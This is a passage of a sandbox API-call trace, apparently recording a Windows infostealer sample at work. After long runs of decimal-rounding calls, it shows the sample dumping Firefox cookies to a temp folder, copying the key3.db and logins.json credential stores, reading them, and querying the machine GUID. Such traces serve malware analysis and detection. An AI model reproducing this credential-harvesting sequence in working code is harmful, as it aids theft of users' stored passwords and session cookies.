cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecCmp (pdecLeft=0x12feb64, pdecRight=0x12feb54) returned 0x2 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecCmp (pdecLeft=0x12feb64, pdecRight=0x12feb54) returned 0x2 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.314] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecCmp (pdecLeft=0x12feb64, pdecRight=0x12feb54) returned 0x2 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecCmp (pdecLeft=0x12feb64, pdecRight=0x12feb54) returned 0x2 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.315] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecCmp (pdecLeft=0x12feb64, pdecRight=0x12feb54) returned 0x2 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.316] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.317] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.317] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.317] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.317] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.317] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.317] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.317] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.317] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.317] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.317] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.317] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.317] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.317] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.317] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.317] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.317] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.317] VarDecCmp (pdecLeft=0x12feb64, pdecRight=0x12feb54) returned 0x2 [0186.405] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\w7cr0hor.default_Firefox_Cookies.txt", nBufferLength=0x105, lpBuffer=0x12feb04, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\w7cr0hor.default_Firefox_Cookies.txt", lpFilePart=0x0) returned 0x5c [0186.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff048) returned 1 [0186.405] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\w7cr0hor.default_Firefox_Cookies.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\browsers\\w7cr0hor.default_firefox_cookies.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0186.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fd3e0) returned 1 [0186.419] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", nBufferLength=0x105, lpBuffer=0x12fec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", lpFilePart=0x0) returned 0x51 [0186.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0e4) returned 1 [0186.419] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db"), fInfoLevelId=0x0, lpFileInformation=0x12ff160 | out: lpFileInformation=0x12ff160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6922fa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe6922fa, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x77b3a046, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0186.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0e0) returned 1 [0186.420] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", nBufferLength=0x105, lpBuffer=0x12febe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", lpFilePart=0x0) returned 0x51 [0186.420] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_55.0277372+02_0011", nBufferLength=0x105, lpBuffer=0x12febe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_55.0277372+02_0011", lpFilePart=0x0) returned 0x52 [0186.420] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_55.0277372+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_55_55.0277372+02_0011"), bFailIfExists=0) returned 1 [0189.205] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x1364ab8 [0189.207] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x1364b40 [0189.366] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_55.0277372+02_0011", nBufferLength=0x105, lpBuffer=0x12febd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_55.0277372+02_0011", lpFilePart=0x0) returned 0x52 [0189.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff084) returned 1 [0189.367] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_55.0277372+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_55_55.0277372+02_0011"), fInfoLevelId=0x0, lpFileInformation=0x12ff100 | out: lpFileInformation=0x12ff100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x224ee2fc, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x224ee2fc, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x77b3a046, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0189.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff080) returned 1 [0189.445] GetCurrentProcessId () returned 0xd0c [0189.446] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll", nBufferLength=0x105, lpBuffer=0x12fe42c, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll", lpFilePart=0x0) returned 0x63 [0189.446] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll", nBufferLength=0x105, lpBuffer=0x12fe3a4, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll", lpFilePart=0x0) returned 0x63 [0189.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="System.Data.1", cchWideChar=13, lpMultiByteStr=0x12fe8ec, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="System.Data.1\x89(o\x18Ô\x96àðùosÐé/\x01\x84é/\x01$S{s", lpUsedDefaultChar=0x0) returned 13 [0189.449] CoTaskMemAlloc (cb=0x34) returned 0x139a878 [0189.449] CoTaskMemAlloc (cb=0xc8) returned 0x139b3d0 [0189.449] CoTaskMemFree (pv=0x139a878) [0189.449] CoTaskMemFree (pv=0x139b3d0) [0189.835] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_55.0277372+02_0011", nBufferLength=0x105, lpBuffer=0x12feaac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_55.0277372+02_0011", lpFilePart=0x0) returned 0x52 [0189.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0189.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_55.0277372+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_55_55.0277372+02_0011"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4cc [0189.835] GetFileType (hFile=0x4cc) returned 0x1 [0189.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefec) returned 1 [0189.835] GetFileType (hFile=0x4cc) returned 0x1 [0189.835] GetFileSize (in: hFile=0x4cc, lpFileSizeHigh=0x12ff0d4 | out: lpFileSizeHigh=0x12ff0d4*=0x0) returned 0x4000 [0189.836] ReadFile (in: hFile=0x4cc, lpBuffer=0x32df3ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff088, lpOverlapped=0x0 | out: lpBuffer=0x32df3ac*, lpNumberOfBytesRead=0x12ff088*=0x1000, lpOverlapped=0x0) returned 1 [0189.836] ReadFile (in: hFile=0x4cc, lpBuffer=0x32df3ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff088, lpOverlapped=0x0 | out: lpBuffer=0x32df3ac*, lpNumberOfBytesRead=0x12ff088*=0x1000, lpOverlapped=0x0) returned 1 [0189.836] ReadFile (in: hFile=0x4cc, lpBuffer=0x32df3ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff088, lpOverlapped=0x0 | out: lpBuffer=0x32df3ac*, lpNumberOfBytesRead=0x12ff088*=0x1000, lpOverlapped=0x0) returned 1 [0189.836] ReadFile (in: hFile=0x4cc, lpBuffer=0x32df3ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff088, lpOverlapped=0x0 | out: lpBuffer=0x32df3ac*, lpNumberOfBytesRead=0x12ff088*=0x1000, lpOverlapped=0x0) returned 1 [0189.836] CloseHandle (hObject=0x4cc) returned 1 [0190.313] CoTaskMemAlloc (cb=0x20c) returned 0x13a1d48 [0190.313] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x13a1d48 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0190.313] CoTaskMemFree (pv=0x13a1d48) [0190.313] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x12fd42c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0190.397] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fd8ec | out: phkResult=0x12fd8ec*=0x4e4) returned 0x0 [0190.397] RegQueryValueExW (in: hKey=0x4e4, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x12fd90c, lpData=0x0, lpcbData=0x12fd908*=0x0 | out: lpType=0x12fd90c*=0x1, lpData=0x0, lpcbData=0x12fd908*=0x4a) returned 0x0 [0190.397] RegQueryValueExW (in: hKey=0x4e4, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x12fd90c, lpData=0x332c1f8, lpcbData=0x12fd908*=0x4a | out: lpType=0x12fd90c*=0x1, lpData="33d770d0-06bc-47c5-8714-222cdac43a71", lpcbData=0x12fd908*=0x4a) returned 0x0 [0190.397] RegCloseKey (hKey=0x4e4) returned 0x0 [0190.397] CoTaskMemAlloc (cb=0x20c) returned 0x13a1d48 [0190.397] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x13a1d48 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0190.397] CoTaskMemFree (pv=0x13a1d48) [0190.397] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x12fd42c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0190.398] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fd8ec | out: phkResult=0x12fd8ec*=0x4e4) returned 0x0 [0190.398] RegQueryValueExW (in: hKey=0x4e4, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x12fd90c, lpData=0x0, lpcbData=0x12fd908*=0x0 | out: lpType=0x12fd90c*=0x1, lpData=0x0, lpcbData=0x12fd908*=0x4a) returned 0x0 [0190.398] RegQueryValueExW (in: hKey=0x4e4, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x12fd90c, lpData=0x332ca98, lpcbData=0x12fd908*=0x4a | out: lpType=0x12fd90c*=0x1, lpData="33d770d0-06bc-47c5-8714-222cdac43a71", lpcbData=0x12fd908*=0x4a) returned 0x0 [0190.398] RegCloseKey (hKey=0x4e4) returned 0x0 [0190.490] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\logins.json", nBufferLength=0x105, lpBuffer=0x12feb94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\logins.json", lpFilePart=0x0) returned 0x55 [0190.490] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011", nBufferLength=0x105, lpBuffer=0x12feb94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011", lpFilePart=0x0) returned 0x52 [0190.490] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\logins.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\logins.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_59.0912452+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_55_59.0912452+02_0011"), bFailIfExists=0) returned 0 [0190.490] CreateFileW 